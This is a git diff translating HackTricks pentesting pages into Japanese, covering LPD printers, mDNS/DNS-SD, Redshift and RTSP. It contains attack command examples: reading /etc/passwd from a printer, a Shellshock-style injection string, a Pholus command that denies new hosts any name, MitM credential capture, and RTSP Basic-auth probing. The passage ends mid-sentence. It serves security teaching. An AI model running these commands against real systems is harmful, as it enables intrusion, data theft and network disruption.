+デーモンはポート515/tcpで実行され、`lpr`コマンドを使用してアクセスできます。印刷するために、クライアントはジョブ/ユーザー名を定義する**制御ファイル**と、実際に印刷されるデータを含む**データファイル**を送信します。データファイルの**入力タイプ**は、制御ファイルでさまざまなファイル形式の中から選択することで設定できます。ただし、実際に印刷データを処理する方法は、LPDの実装によって異なります。Unixライクなオペレーティングシステムの人気のあるLPD実装はLPRngです。LPDは、**悪意のあるPostScript**または**PJL印刷ジョブ**を展開するためのキャリアとして使用できます。 +`lpdprint`と`lpdtest`ツールは、[**PRET**](https://github.com/RUB-NDS/PRET)**に含まれています。**これらは、LPD対応のプリンタにデータを直接印刷したり、ファイルのダウンロード/アップロード/削除などを行うための最小限の方法です: ``` lpdprint.py hostname filename lpdtest.py hostname get /etc/passwd @@ -30,28 +27,25 @@ lpdtest.py hostname rm /some/file/on/printer lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4' lpdtest.py hostname mail lpdtest@mailhost.local ``` - -If you want to learn more about [**hacking printers read this page**](pentesting-printers/). +[**プリンターハッキングについて詳しくは、このページを読んでください**](pentesting-printers/)。 # Shodan -* `port 515` +* `ポート515`
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/network-services-pentesting/5353-udp-multicast-dns-mdns.md index ac90a6f7b..175971d92 100644 --- a/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -1,58 +1,53 @@ -# 5353/UDP Multicast DNS (mDNS) and DNS-SD +# 5353/UDP マルチキャスト DNS (mDNS) と DNS-SD
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## Basic Information - -Multicast DNS (mDNS) is a **zero-configuration protocol** that lets you perform **DNS-like operations** on the local network in the absence of a conventional, unicast DNS server. The protocol uses the **same** API, **packet formats**, and operating semantics as DNS, allowing you to resolve domain names on the local network. **DNS Service Discovery (DNS-SD)** is a protocol that allows clients to **discover a list of named instances of services** (such as test.\_ipps.\_tcp.local, or linux.\_ssh.\_tcp.local) in a domain using standard DNS queries. DNS-SD is most often used in conjunction with mDNS but isn’t dependent on it. They’re both used by many IoT devices, such as network printers, Apple TVs, Google Chromecast, Network-Attached Storage (NAS) devices, and cameras.\ -**Default port:** 5353/UDP +## 基本情報 +マルチキャスト DNS (mDNS) は、従来のユニキャスト DNS サーバーが存在しない場合に、ローカルネットワーク上で **DNS のような操作** を実行できる **ゼロ構成プロトコル** です。このプロトコルは、DNS と同じ **API**、**パケット形式**、および動作セマンティクスを使用しており、ローカルネットワーク上のドメイン名を解決することができます。**DNS サービスディスカバリ (DNS-SD)** は、標準の DNS クエリを使用してドメイン内の **名前付きサービスの一覧** (例: test.\_ipps.\_tcp.local、または linux.\_ssh.\_tcp.local) をクライアントが **検出** できるプロトコルです。DNS-SD は、多くの IoT デバイス(ネットワークプリンター、Apple TV、Google Chromecast、NAS デバイス、カメラなど)と一緒に使用されることが最も一般的ですが、mDNS に依存する必要はありません。\ +**デフォルトポート:** 5353/UDP ``` PORT STATE SERVICE 5353/udp open zeroconf ``` +### mDNSの動作原理 -### How mDNS Works +デバイスは、ローカルネットワークに従来のユニキャストDNSサーバーがない場合にmDNSを使用します。mDNSを使用してローカルアドレスのドメイン名を解決するために、デバイスはドメイン名が.localで終わるDNSクエリを、IPv4の場合はマルチキャストアドレス224.0.0.251(IPv6の場合はFF02::FB)に送信します。mDNSを使用してグローバルドメイン名(.local以外のもの)を解決することもできますが、mDNSの実装ではデフォルトでこの動作が無効になっているはずです。mDNSのリクエストとレスポンスは、ソースポートと宛先ポートとしてUDPとポート5353を使用します。 -Devices use mDNS when the local network **lacks** a conventional **unicast DNS server**. To resolve a domain name for a local address using mDNS, the device sends a **DNS query for a domain name** ending with **.local** to the **multicast** **address** 224.0.0.251 (for IPv4) or FF02::FB (for IPv6). You can also use mDNS to resolve **global domain names** (non .local ones), but mDNS implementations are supposed to **disable** this behavior by default. mDNS requests and responses use **UDP** and **port 5353** as both the source and destination port. +mDNSの応答には、有効なレコードの秒数を示す**Time-to-Live(TTL)**値を含むいくつかの重要なフラグがあります。**TTL=0で応答を送信すると、対応するレコードがクリアされる**ことを意味します。もう1つの重要なフラグはQUビットで、クエリがユニキャストクエリかどうかを示します。**QUビットが設定されていない場合**、パケットはマルチキャストクエリ(QM)です。ローカルリンクの外部からユニキャストクエリを受信することが可能なため、セキュアなmDNSの実装では常にパケットのソースアドレスがローカルサブネットアドレス範囲と一致するかどうかを確認する必要があります。 -The mDNS replies contain several important flags, including a **Time-to- Live** (TTL) value that signifies how many seconds the record is valid. Sending a reply with **TTL=0 means that the corresponding record should be cleared**. Another important flag is the QU bit, which denotes whether or not the query is a unicast query. If the **QU bit isn’t set**, the packet is a **multicast** query (QM). Because it’s possible to **receive unicast queries outside of the local link**, secure mDNS implementations should always **check that the source address in the packet matches the local subnet address range**. +### DNS-SDの動作原理 -### How DNS-SD Works - -DNS-SD allows clients to **discover available services on the network**. To use it, clients send standard DNS queries for pointer records (PTR), which map the type of service to a list of names of specific instances of that type of service. - -To request a PTR record, clients use the name form "\.\". The **\** part the **service name** preceded by "\_" (for example, \_ipps, \_printer, or \_ipp) and either **\_tcp or \_udp**. The **\** portion is "**.local**".\ -**Responders** then return the PTR records that point to the accompanying **service (SRV)** and **text (TXT) records**. Here is an example of a PTR record: +DNS-SDは、クライアントがネットワーク上で利用可能なサービスを発見するためのものです。クライアントは、特定のサービスの名前のリストにサービスのタイプをマップするポインタレコード(PTR)の標準DNSクエリを送信します。 +PTRレコードをリクエストするために、クライアントは "\.\" の形式の名前を使用します。**\**の部分は、サービス名の前に"_"が付いたものです(例:\_ipps、\_printer、または\_ipp)そして、**\_tcpまたは\_udp**です。**\**の部分は".local"です。\ +**レスポンダ**は、付随する**サービス(SRV)**と**テキスト(TXT)レコード**を指すPTRレコードを返します。以下はPTRレコードの例です: ``` - _ipps._tcp.local: type PTR, class IN, test._ipps._tcp.local +_ipps._tcp.local: type PTR, class IN, test._ipps._tcp.local ``` - -The part of the PTR record to the **left** of the colon is its **name**, and the part on the **right** is the **SRV** **record** to which the PTR record points. The **SRV** record lists the target **host** and **port** where the **service** instance can be reached. For example, the next image shows a "test.\_ipps.\_tcp.local" SRV record in Wireshark in host ubuntu.local and port 8000: +PTRレコードのコロンの**左側**はその**名前**であり、右側はPTRレコードが指す**SRVレコード**です。**SRVレコード**には、サービスインスタンスにアクセスできるターゲット**ホスト**と**ポート**がリストされています。例えば、次の画像は、ホストubuntu.localとポート8000でWiresharkで表示される「test.\_ipps.\_tcp.local」のSRVレコードを示しています。 ![](<../.gitbook/assets/image (651) (1) (1) (1) (1).png>) -Therefore, the **name of the SRV** record is **like** the **PTR** record **preceded** by the **\** name (test in this case). The **TXT** has the **same** **name** as the **SRV** record and contains the information needed when the IP address and port number (contained in the SRV record) for a service aren’t sufficient to identify it. +したがって、**SRVレコードの名前**は、**PTR**レコードの**\**名(この場合はtest)の前に**似ています**。**TXT**は**SRV**レコードと同じ**名前**を持ち、IPアドレスとポート番号(SRVレコードに含まれる)だけではサービスを識別するのに十分ではない情報が含まれています。 -## Enumeration +## 列挙 ### nmap - ```bash nmap -Pn -sUC -p5353 192.168.1.2 @@ -70,39 +65,34 @@ PORT STATE SERVICE | 445/tcp smb | Address=192.168.1.2 ``` +### ネットワーク列挙 -### Network Enumeration - -You can learn a lot about the local network by simply sending mDNS requests and capturing multicast mDNS traffic. - -You can use the tool [**Pholus**](https://github.com/aatlasis/Pholus/) to send a mDNS requests (-rq) on the local network and capture multicast mDNS traffic (for -stimeout 10 seconds): +単純にmDNSリクエストを送信し、マルチキャストmDNSトラフィックをキャプチャすることで、ローカルネットワークについて多くの情報を得ることができます。 +ツール[**Pholus**](https://github.com/aatlasis/Pholus/)を使用して、ローカルネットワーク上でmDNSリクエスト(-rq)を送信し、マルチキャストmDNSトラフィックをキャプチャすることができます(-stimeout 10秒)。 ```bash sudo python3 pholus3.py eth0 -rq -stimeout 10 ``` +## 攻撃 -## Attacks +### mDNSのプロービングフェーズの悪用 -### Abusing the mDNS Probing Phase - -When a mDNS responder starts or changes its connectivity, it asks the local network if there is **any resource with the name he plans to use**. If the answer contains the record in question, the probing host **should choose a new name**. If 15 conflicts take place within 10 seconds, the host must then wait at least five seconds before any additional attempt. Additionally, if one minute passes during which the host can’t find an unused name, it reports an error to the user. - -The following command line will prevent any new device to get any new name as it will indicate that **any name is already taken**: +mDNSレスポンダーが起動するか接続を変更すると、**使用する予定の名前を持つリソースがローカルネットワークに存在するかどうか**を問い合わせます。回答に対象のレコードが含まれている場合、プロービングホストは**新しい名前を選択する必要があります**。10秒以内に15回の競合が発生した場合、ホストは追加の試行を行う前に少なくとも5秒間待機する必要があります。さらに、未使用の名前を見つけることができないまま1分が経過すると、ホストはユーザーにエラーを報告します。 +次のコマンドラインは、**すべての新しいデバイスが既に使用されていると指定する**ため、新しい名前を取得できなくします: ```bash sudo python pholus.py eth0 -afre -stimeout 1000 ``` +### スプーフィング/MitM -### Spoofing/MitM - -The most interesting attack you can perform over this service is to perform a **MitM** in the **communication between the client and the real server**. You might be able to obtain sensitive files (MitM the communication with the printer) of even credentials (Windows authentication).\ -For more information check: +このサービス上で実行できる最も興味深い攻撃は、**クライアントと実際のサーバー間の通信でのMitM**を実行することです。プリンターとの通信をMitMすることで、機密ファイルを入手することができるかもしれません。また、資格情報(Windows認証)を入手することもできます。\ +詳細については、以下を参照してください: {% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} [spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) {% endcontent-ref %} -## References +## 参考文献 * [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y) @@ -110,14 +100,14 @@ For more information check: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/network-services-pentesting/5439-pentesting-redshift.md b/network-services-pentesting/5439-pentesting-redshift.md index 00ea68b33..637a1a31a 100644 --- a/network-services-pentesting/5439-pentesting-redshift.md +++ b/network-services-pentesting/5439-pentesting-redshift.md @@ -1,22 +1,22 @@ -# 5439 - Pentesting Redshift +# 5439 - Redshiftのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Basic Information +## 基本情報 -This port is used by **Redshift** to run. It's basically an AWS variation of **PostgreSQL**. +このポートは**Redshift**の実行に使用されます。基本的には**PostgreSQL**のAWSバリエーションです。 -For more information check: +詳細については、次を参照してください: {% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %} @@ -24,10 +24,10 @@ For more information check: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/network-services-pentesting/554-8554-pentesting-rtsp.md b/network-services-pentesting/554-8554-pentesting-rtsp.md index 70964c6f1..dbf649e8d 100644 --- a/network-services-pentesting/554-8554-pentesting-rtsp.md +++ b/network-services-pentesting/554-8554-pentesting-rtsp.md @@ -1,60 +1,57 @@ -# 554,8554 - Pentesting RTSP +# 554,8554 - RTSPのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Basic Information +## 基本情報 -> The **Real Time Streaming Protocol** (**RTSP**) is a network control protocol designed for use in entertainment and communications systems to control streaming media servers. The protocol is used for establishing and controlling media sessions between end points. Clients of media servers issue VHS-style commands, such as play, record and pause, to facilitate real-time control of the media streaming from the server to a client (Video On Demand) or from a client to the server (Voice Recording). +> **リアルタイムストリーミングプロトコル**(**RTSP**)は、エンターテイメントや通信システムで使用するために設計されたネットワーク制御プロトコルであり、ストリーミングメディアサーバーの制御に使用されます。このプロトコルは、エンドポイント間のメディアセッションの確立と制御に使用されます。メディアサーバーのクライアントは、VHSスタイルのコマンド(再生、録画、一時停止など)を発行して、サーバーからクライアントへのメディアストリーミング(ビデオオンデマンド)またはクライアントからサーバーへのメディアストリーミング(音声録音)をリアルタイムに制御します。 > -> The transmission of streaming data itself is not a task of RTSP. Most RTSP servers use the Real-time Transport Protocol (RTP) in conjunction with Real-time Control Protocol (RTCP) for media stream delivery. However, some vendors implement proprietary transport protocols. The RTSP server software from RealNetworks, for example, also used RealNetworks' proprietary Real Data Transport (RDT). +> ストリーミングデータの送信自体は、RTSPのタスクではありません。ほとんどのRTSPサーバーは、メディアストリームの配信にリアルタイムトランスポートプロトコル(RTP)とリアルタイム制御プロトコル(RTCP)を併用しています。ただし、一部のベンダーは独自のトランスポートプロトコルを実装しています。たとえば、RealNetworksのRTSPサーバーソフトウェアは、RealNetworksの独自のReal Data Transport(RDT)も使用しています。 -From [wikipedia](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol). - -**Default ports:** 554,8554 +[wikipedia](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol)から。 +**デフォルトポート:** 554,8554 ``` PORT STATE SERVICE 554/tcp open rtsp ``` +## 詳細情報 -## Detailed Information +まず、RTSPはHTTPのようなプロトコルです。構造と制御コマンドは異なりますが、テキスト形式であり、コマンドの基本と相互作用の方法を学べば、かなり簡単に使用できます。RTSPの仕様は非常にわかりやすいです。以下にリンクを示します: -First and foremost RTSP is an HTTP like protocol. It has different structure and control commands but is textual in its format and once you learn the basics of the commands and how they interact, fairly easy to use. The specification for RTSP is pretty straightforward. Here is a link to it: +[RTSP - RFC2326](https://tools.ietf.org/html/rfc2326) -[RTSP – RFC2326](https://tools.ietf.org/html/rfc2326) - -RTSP can be accessed unauthenticated (common in off-the-shelf devices) or authenticated. Authenticated access mirrors HTTP in that you have Basic and Digest authentication, both nearly identical to HTTP. To find out whether your device is authenticated or unauthenticated, simply send a “DESCRIBE” request. A simple DESCRIBE request looks like: +RTSPは、認証なしでアクセスできる場合(市販のデバイスでは一般的)と、認証が必要な場合があります。認証されたアクセスは、HTTPと同様にBasic認証とDigest認証があり、どちらもHTTPとほぼ同じです。デバイスが認証されているかどうかを確認するには、単純な「DESCRIBE」リクエストを送信します。単純なDESCRIBEリクエストは次のようになります: `DESCRIBE rtsp://: RTSP/1.0\r\nCSeq: 2\r\n\r` -Note: the additional “\r\n” is required for reliable response. Some systems will accept the single “\r\n” but most won’t. +注意:信頼性のある応答のために、追加の「\r\n」が必要です。一部のシステムは単一の「\r\n」を受け入れますが、ほとんどのシステムは受け入れません。 -This can be sent down a raw socket. Just like HTTP, a successful response indicating unauthenticated access is available will contain a “200 OK”. In this case with DESCRIBE, it will also contain all of the operational parameters of the video feed. +これは生のソケットに送信できます。HTTPと同様に、認証されていないアクセスが利用可能であることを示す成功した応答には「200 OK」が含まれます。DESCRIBEの場合、ビデオフィードのすべての操作パラメータも含まれます。 -If the device requires authentication, the the response back will contain “401 Unauthorized”. The response will also indicate what authentication mechanisms are available. If Basic authentication is available the response string will contain an information line that has “WWW-Authenticate: Basic”. The rest of the information provide with Basic authentication is largely irrelevant to actually conduct basic authentication. +デバイスが認証を必要とする場合、応答には「401 Unauthorized」が含まれます。応答には、利用可能な認証メカニズムも示されます。Basic認証が利用可能な場合、応答文字列には「WWW-Authenticate: Basic」という情報行が含まれます。Basic認証に関連するその他の情報は、基本的な認証を実行するためにはほとんど関係ありません。 -If Digest authentication is required, then the “401 Unauthorized” response will have an information line containing “WWW-Authenticate: Digest”. The information with the Digest specification IS very important if you are going to do Digest authentication, so don’t ignore it. +Digest認証が必要な場合、応答の「401 Unauthorized」には「WWW-Authenticate: Digest」という情報行が含まれます。Digest仕様の情報は、Digest認証を行う場合に非常に重要ですので、無視しないでください。 -Basic authentication is the way to go, hopefully the response received indicates that it is available. If not there are three different methods to assemble a Digest authentication element, so Digest can become troublesome, especially blind (unauthenticated). The rest of this article will stick with Basic authentication. I may write a follow-up article later once I decipher the secret sauce to doing Digest authentication blind. +Basic認証が利用可能であることを示す応答が得られれば、Basic認証を使用します。利用できない場合、Digest認証要素を組み立てるための3つの異なる方法がありますので、Digest認証は特にブラインド(認証なし)の場合には問題が発生する可能性があります。この記事の残りの部分では、Basic認証に焦点を当てます。Digest認証の秘密のソースを解読した後に、後続の記事を書くかもしれません。 -To formulate a Basic authentication element, one simple has to base 64 encode \ “:” \ and add it to the request. So a new request would look like: +Basic認証要素を作成するには、単純に\ ":" \をBase64エンコードしてリクエストに追加するだけです。したがって、新しいリクエストは次のようになります: `DESCRIBE rtsp://: RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r` -Again note the request is terminated with the double “\r\n”. - -The value YWRtaW46MTIzNA== is the base 64 encoded username and password concatenated with “:”. In this case I have used “admin”/”1234”. Some simple python scripting to try this out looks like: 